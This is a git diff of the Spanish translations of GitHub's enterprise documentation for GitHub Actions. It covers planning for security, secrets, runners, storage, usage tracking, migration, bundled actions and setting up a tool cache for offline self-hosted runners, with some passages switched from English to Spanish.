-You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining audit logs for longer than six months, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Streaming the audit logs for organizations in your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."{% else %}"[Searching the audit log](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)."{% endif %}
+You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining audit logs for longer than six months, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección {% ifversion ghec %}"[Transmitir las bitácoras de auditoría en tu empresa](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)".{% else %}"[Transmitir la bitácora de auditoría](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)".{% endif %}
 
-![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+![Entradas de la bitácora de auditoría](/assets/images/help/repository/audit-log-entries.png)
 
-## Security
+## Seguridad
 
 You should plan your approach to security hardening for {% data variables.product.prodname_actions %}.
 
@@ -48,13 +48,13 @@ You should plan your approach to security hardening for {% data variables.produc
 
 Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)."
 
-You can also encourage reuse of workflows that have already been evaluated for security. For more information, see "[Innersourcing](#innersourcing)."
+You can also encourage reuse of workflows that have already been evaluated for security. Para obtener más información, consulta la sección de "[Innersourcing](#innersourcing)".
 
 ### Securing access to secrets and deployment resources
 
 You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider.
 
-In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. Para obtener más información, consulta la sección "[Secretos cifrados](/actions/security-guides/encrypted-secrets)".
 
 ![Screenshot of a list of secrets](/assets/images/help/settings/actions-org-secrets-list.png)
 {% ifversion fpt or ghes > 3.0 or ghec or ghae %}
@@ -62,46 +62,46 @@ You should consider adding manual approval protection for sensitive environments
 
 ### Security considerations for third-party actions
 
-There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that enourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)."
+There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)."
 
 ## Innersourcing
 
 Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource workflows. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources.
 
 {% ifversion ghec or ghes > 3.3 or ghae-issue-4757 %}
-With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. Para obtener más información, consulta la sección "[Reutilizar flujos de trabajo](/actions/learn-github-actions/reusing-workflows)".
 {% endif %}
 
-To provide a starting place for developers building new workflows, you can use workflow templates. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)."
+To provide a starting place for developers building new workflows, you can use starter workflows. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
 
-Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)."
+Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. Para obtener más información, consulta la sección "[Acerca de las acciones personalizadas](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)".
 
 ## Managing resources
 
 You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}.
 
-### Runners
+### Ejecutores
 
-{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %}
+{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. Para obtener más información, consulta las secciones "[Acerca de los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners)" y "[Acerca de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)".{% else %} Necesitarás hospedar tus propios ejecutores instalando la aplicación de ejecutores auto-hospedados de {% data variables.product.prodname_actions %} en tus propias máquinas. Para obtener más información, consulta la sección "[Acerca de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)".{% endif %}
 
-{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container.
+{% ifversion ghec %}Si estás utilizando ejecutores auto-hospedados, tienes que decidir si quieres utilizar máquinas físicas, virtuales o contenedores.{% else %}Decide si quieres utilizar máquinas físicas, virtuales o contenedores para tus ejecutores auto-hospedados.{% endif %} Las máquinas físicas conservarán los restos de los jobs anteriores, así como las máquinas virtuales, a menos de que utilices una imagen nueva para cada job o que limpies las máquinas después de cada ejecución de un job. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container.
 
 You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
 
 {% ifversion ghec or ghes > 3.2 %}
-You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
+You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. Para obtener más información, consulta la sección "[Autoescalar con ejecutores auto-hospedados](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)".
 {% endif %}
 
 Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
 
-### Storage
+### Almacenamiento
 
 {% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)."
 
 ![Screenshot of artifact](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png)
 
 {% ifversion ghes %}
-You must configure external blob storage for these artifacts. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)."
+You must configure external blob storage for these artifacts. Decide which supported storage provider your enterprise will use. Para obtener más información, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)".
 {% endif %}
 
 {% ifversion ghec or ghes %}
@@ -113,7 +113,7 @@ You must configure external blob storage for these artifacts. Decide which suppo
 If you want to retain logs and artifacts longer than the upper limit you can configure in {% data variables.product.product_name %}, you'll have to plan how to export and store the data.
 
 {% ifversion ghec %}
-Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. Para obtener más información, consulta "[Acerca de la facturación para {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)".
 {% endif %}
 
 ## Tracking usage
@@ -121,7 +121,7 @@ Some storage is included in your subscription, but additional storage will affec
 You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows.
 
 {% ifversion ghec %}
-You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)."
+You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. Para obtener más información, consulta la sección "[Visualizar tu uso de {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)".
 
 For more detailed usage data, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)."
 
diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
index 2936f4d27f..8da03a74a8 100644
--- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
+++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
@@ -1,7 +1,7 @@
 ---
 title: Migrating your enterprise to GitHub Actions
 shortTitle: Migrate to Actions
-intro: "Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider."
+intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -32,7 +32,7 @@ Before you can migrate to {% data variables.product.prodname_actions %}, you nee
 
 First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind.
 
-Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)."
+Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. Para obtener más información, consulta la sección "[Migrarse a las {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)".
 
 With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}.
 
@@ -60,7 +60,7 @@ Determine the migration approach that will work best for your enterprise. Smalle
 
 We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too.
 
-Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. 
+Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired.
 
 Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable.
 
diff --git a/translations/es-ES/content/admin/github-actions/index.md b/translations/es-ES/content/admin/github-actions/index.md
index 73a6fd37b8..45f7f3fccd 100644
--- a/translations/es-ES/content/admin/github-actions/index.md
+++ b/translations/es-ES/content/admin/github-actions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing GitHub Actions for your enterprise
-intro: 'Enable {% data variables.product.prodname_actions %} on {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %}, and manage {% data variables.product.prodname_actions %} policies and settings.'
+title: Administrar GitHub Actions para tu empresa
+intro: 'Habilita las {% data variables.product.prodname_actions %} en {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %}, y administra las políticas y configuraciones de {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /enterprise/admin/github-actions
 versions:
@@ -15,7 +15,7 @@ children:
   - /enabling-github-actions-for-github-enterprise-server
   - /managing-access-to-actions-from-githubcom
   - /advanced-configuration-and-troubleshooting
-shortTitle: Manage GitHub Actions
+shortTitle: Administrar las GitHub Actions
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
index 8dba3031c4..f9d05b522f 100644
--- a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: About using actions in your enterprise
-intro: '{% data variables.product.product_name %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.'
+title: Acerca de utilizar las acciones en tu empresa
+intro: '{% data variables.product.product_name %} incluye la mayoría de las acciones de autoría de {% data variables.product.prodname_dotcom %}, y tiene opciones para habilitar el acceso a otras acciones de {% data variables.product.prodname_dotcom_the_website %} y de {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server
   - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server
@@ -13,34 +13,34 @@ type: overview
 topics:
   - Actions
   - Enterprise
-shortTitle: Add actions in your enterprise
+shortTitle: Agregar acciones en tu empresa
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.
+Los flujos de trabajo de {% data variables.product.prodname_actions %} pueden utilizar _acciones_, las cuales son tareas individuales que puedes combinar para crear jobs y personalizar tu flujo de trabajo. Puedes crear tus propias acciones, o utilizar y personalizar a quellas que comparte la comunidad de {% data variables.product.prodname_dotcom %}.
 
 {% data reusables.actions.enterprise-no-internet-actions %}
 
-## Official actions bundled with your enterprise instance
+## Acciones oficiales que se incluyen en tu instancia empresarial
 
 {% data reusables.actions.actions-bundled-with-ghes %}
 
-The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: <code>https://<em>HOSTNAME</em>/actions</code>.
+Las acciones agrupadas oficiales incluyen a `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, y varias acciones de `actions/setup-`, entre otras. Para ver todas las acciones oficiales que se incluyen en tu instancia empresarial, navega hasta la organización `actions` en tu instancia: <code>https://<em>HOSTNAME</em>/actions</code>.
 
-Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see "[Using the latest version of the official bundled actions](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)."
+Cada acción es un repositorio en la organización `actions` y cada repositorio de acción incluye las etiquetas, ramas y SHA de confirmación necesarios que tu flujo de trabajo puede utilizar para referenciar la acción. Para obtener más información sobre cómo actualizar las acciones oficiales empaquetadas, consulta la sección "[Utilizar la versión más reciente de las acciones oficiales incluídas](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)".
 
 {% note %}
 
-**Note:** When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.product_name %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see "[Setting up the tool cache on self-hosted runners without internet access](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)."
+**Nota:** Cuando utilices acciones de configuración (tales como `actions/setup-LANGUAGE`) en {% data variables.product.product_name %} con ejecutores auto-hospedados, podrías necesitar configurar el caché de las herramientas en los ejecutores que no tengan acceso a internet. Para obtener más información, consulta la sección "[ Configurar el caché de herramientas en ejecutores auto-hospedados sin acceso a internet](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)".
 
 {% endnote %}
 
-## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %}
+## Configurar el acceso a las acciones en {% data variables.product.prodname_dotcom_the_website %}
 
 {% data reusables.actions.access-actions-on-dotcom %}
 
-The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". {% data reusables.actions.enterprise-limit-actions-use %}
+El acercamiento recomendado es habilitar el acceso automático a todas las acciones desde {% data variables.product.prodname_dotcom_the_website %}. Puedes hacer esto si utilizas {% data variables.product.prodname_github_connect %} para integrar a {% data variables.product.product_name %} con {% data variables.product.prodname_ghe_cloud %}. Para obtener más información, consulta la sección "[Habilitar el acceso automático a las acciones de {% data variables.product.prodname_dotcom_the_website %} utilizando {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". {% data reusables.actions.enterprise-limit-actions-use %}
 
-Alternatively, if you want stricter control over which actions are allowed in your enterprise, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)."
+Como alternativa, si quieres tener un control más estricto sobre qué acciones se permiten en tu empresa, puedes descargar y sincronizar las acciones manualmente en tu instancia empresarial utilizando la herramienta `actions-sync`. Para obtener más información, consulta la sección "[Sincronizar acciones manualmente desde {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)".
diff --git a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
index ce67a6d17e..d9df7cc519 100644
--- a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
+++ b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to actions from GitHub.com
-intro: 'Controlling which actions on {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %} can be used in your enterprise.'
+title: Administrar el acceso a las acciones desde GitHub.com
+intro: 'En tu empresa, puedes controlar qué acciones de {% data variables.product.prodname_dotcom_the_website %} y de {% data variables.product.prodname_marketplace %} se pueden utilizar.'
 redirect_from:
   - /enterprise/admin/github-actions/managing-access-to-actions-from-githubcom
 versions:
@@ -14,6 +14,6 @@ children:
   - /manually-syncing-actions-from-githubcom
   - /using-the-latest-version-of-the-official-bundled-actions
   - /setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
-shortTitle: Manage access to actions
+shortTitle: Administrar el acceso a las acciones
 ---
 
diff --git a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
index 13089317ad..668b7dcc56 100644
--- a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
+++ b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up the tool cache on self-hosted runners without internet access
-intro: 'To use the included `actions/setup` actions on self-hosted runners without internet access, you must first populate the runner''s tool cache for your workflows.'
+title: Configurar el caché de la herramienta en ejecutores auto-hospedados sin acceso a internet
+intro: 'Para utilizar las acciones de `actions/setup` que se incluyen en los ejecutores auto-hospedados sin acceso a internet, primero debes poblar el caché de la herramienta del ejecutor para tus flujos de trabajo.'
 redirect_from:
   - /enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
   - /admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
@@ -13,39 +13,40 @@ topics:
   - Enterprise
   - Networking
   - Storage
-shortTitle: Tool cache for offline runners
+shortTitle: Caché de herramientas para los ejecutores sin conexión
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About the included setup actions and the runner tool cache
+## Acerca de las acciones de configuración incluídas y el caché de la herramienta del ejecutor
 
 {% data reusables.actions.enterprise-no-internet-actions %}
 
-Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.product_name %}. However, self-hosted runners without internet access require some configuration before they can use the included `actions/setup-LANGUAGE` actions, such as `setup-node`.
+La mayoría de las acciones de autoría de {% data variables.product.prodname_dotcom %} se agrupan automáticamente con {% data variables.product.product_name %}. Sin embargo, los ejecutores auto-hospedados sin acceso a internet requieren que se les configure un poco antes de que puedan utilizar las acciones de `actions/setup-LANGUAGE` incluídas, tal como `setup-node`.
 
-The `actions/setup-LANGUAGE` actions normally need internet access to download the required environment binaries into the runner's tool cache. Self-hosted runners without internet access can't download the binaries, so you must manually populate the tool cache on the runner.
+Las acciones de `actions/setup-LANGUAGE` habitualmente necesitan acceso a internet para descargar los binarios de ambiente requeridos en el caché de la herramienta del ejecutor. Los ejecutores auto-hospedados sin acceso a internet no pueden descargar los binarios, así que debes poblar el caché de la herramienta manualmente en el ejecutor.
 
-You can populate the runner tool cache by running a {% data variables.product.prodname_actions %} workflow on {% data variables.product.prodname_dotcom_the_website %} that uploads a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache as an artifact, which you can then transfer and extract on your internet-disconnected self-hosted runner.
+Puedes poblar el caché de la herramienta del ejecutor si ejecutas un flujo de trabajo de {% data variables.product.prodname_actions %} en {% data variables.product.prodname_dotcom_the_website %} que cargue un caché de la herramienta del ejecutor hospedada en {% data variables.product.prodname_dotcom %}, la cual puedes transferir y extraer posteriormente en tu ejecutor auto-hospedado sin acceso a internet.
 
 {% note %}
 
-**Note:** You can only use a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache for a self-hosted runner that has an identical operating system and architecture. For example, if you are using a `ubuntu-18.04` {% data variables.product.prodname_dotcom %}-hosted runner to generate a tool cache, your self-hosted runner must be a 64-bit Ubuntu 18.04 machine. For more information on {% data variables.product.prodname_dotcom %}-hosted runners, see "<a href="/actions/reference/virtual-environments-for-github-hosted-runners#supported-runners-and-hardware-resources" class="dotcom-only">Virtual environments for GitHub-hosted runners</a>."
+**Nota:** Solo puedes utilizar un caché de la herramienta del ejecutor hospedado en {% data variables.product.prodname_dotcom %} para un ejecutor auto-hospedado que tenga un sistema operativo y arquitectura idénticos. Por ejemplo, si estás utilizando un ejecutor hospedado en {% data variables.product.prodname_dotcom %} con `ubuntu-18.04` para generar un caché de la herramienta, tu ejecutor auto-hospedado también debe ser una máquina con Ubuntu 18.04 de 64 bits. Para obtener más información sobre los ejecutores hospedados en {% data variables.product.prodname_dotcom %}, consulta la sección "<a href="/actions/reference/virtual-environments-for-github-hosted-runners#supported-runners-and-hardware-resources" class="dotcom-only">Ambientes virtuales para los ejecutores hospedados en GitHub</a>".
 
 {% endnote %}
 
-## Prerequisites
+## Prerrequisitos
 
-* Determine which development environments your self-hosted runners will need. The following example demonstrates how to populate a tool cache for the `setup-node` action, using Node.js versions 10 and 12.
-* Access to a repository on {% data variables.product.prodname_dotcom_the_website %} that you can use to run a workflow.
-* Access to your self-hosted runner's file system to populate the tool cache folder.
+* Determina qué ambientes de desarrollo necesitarán tus ejecutores auto-hospedados. El siguiente ejemplo demuestra cómo poblar el caché de la herramienta para la acción `setup-node`, utilizando las versiones 10 y 12 de Node.js.
+* Accede a un repositorio en {% data variables.product.prodname_dotcom_the_website %} que puedas utilizar para ejecutar un flujo de trabajo.
+* Accede al sistema de archivos de tu ejecutor auto-hospedado para poblar la carpeta del caché de la herramienta.
 
-## Populating the tool cache for a self-hosted runner
+## Poblar el caché de la herramienta para un ejecutor auto-hospedado
 
-1. On {% data variables.product.prodname_dotcom_the_website %}, navigate to a repository that you can use to run a {% data variables.product.prodname_actions %} workflow.
-1. Create a new workflow file in the repository's `.github/workflows` folder that uploads an artifact containing the {% data variables.product.prodname_dotcom %}-hosted runner's tool cache.
+1. En {% data variables.product.prodname_dotcom_the_website %}, navega a un repositorio que puedas utilizar para ejecutar un flujo de trabajo de {% data variables.product.prodname_actions %}.
+1. Crea un archivo de flujo de trabajo nuevo en la carpeta `.github/workflows` del repositorio, el cual cargue un artefacto que contenga el caché de la herramienta del ejecutor hospedado en {% data variables.product.prodname_dotcom %}.
 
-   The following example demonstrates a workflow that uploads the tool cache for an Ubuntu 18.04 environment, using the `setup-node` action with Node.js versions 10 and 12.
+   El siguiente ejemplo muestra un flujo de trabajo que carga el caché de la herramienta para un ambiente de Ubuntu 18.04 utilizando la acción `setup-node` con las versiones 10 y 12 de Node.js.
 
    {% raw %}
    ```yaml
@@ -77,10 +78,10 @@ You can populate the runner tool cache by running a {% data variables.product.pr
              path: ${{runner.tool_cache}}/tool_cache.tar.gz
    ```
    {% endraw %}
-1. Download the tool cache artifact from the workflow run. For instructions on downloading artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)."
-1. Transfer the tool cache artifact to your self hosted runner and extract it to the local tool cache directory. The default tool cache directory is `RUNNER_DIR/_work/_tool`. If the runner hasn't processed any jobs yet, you might need to create the `_work/_tool` directories.
+1. Descarga el artefacto del caché de la herramienta desde la ejecución del flujo de trabajo. Para obtener instrucciones sobre còmo descargar artefactos, consulta la secciòn "[Descargar artefactos de los flujos de trabajo](/actions/managing-workflow-runs/downloading-workflow-artifacts)".
+1. Transfiere el artefacto del caché de la herramienta a tu ejecutor auto-hospedado y extráelo al directorio local del caché de la herramienta. El directorio predeterminado del caché de la herramienta es `RUNNER_DIR/_work/_tool`. Si el ejecutor no ha procesado ningún job aún, podrías necesitar crear los directorios `_work/_tool`.
 
-    After extracting the tool cache artifact uploaded in the above example, you should have a directory structure on your self-hosted runner that is similar to the following example:
+    Después de extraer el artefacto del caché de la herramienta que se cargó en el ejemplo anterior, deberás tener una estructura de directorio en tu ejecutor auto-hospedado que sea similar al siguiente ejemplo:
 
     ```
     RUNNER_DIR
@@ -95,4 +96,4 @@ You can populate the runner tool cache by running a {% data variables.product.pr
                     └── ...
     ```
 
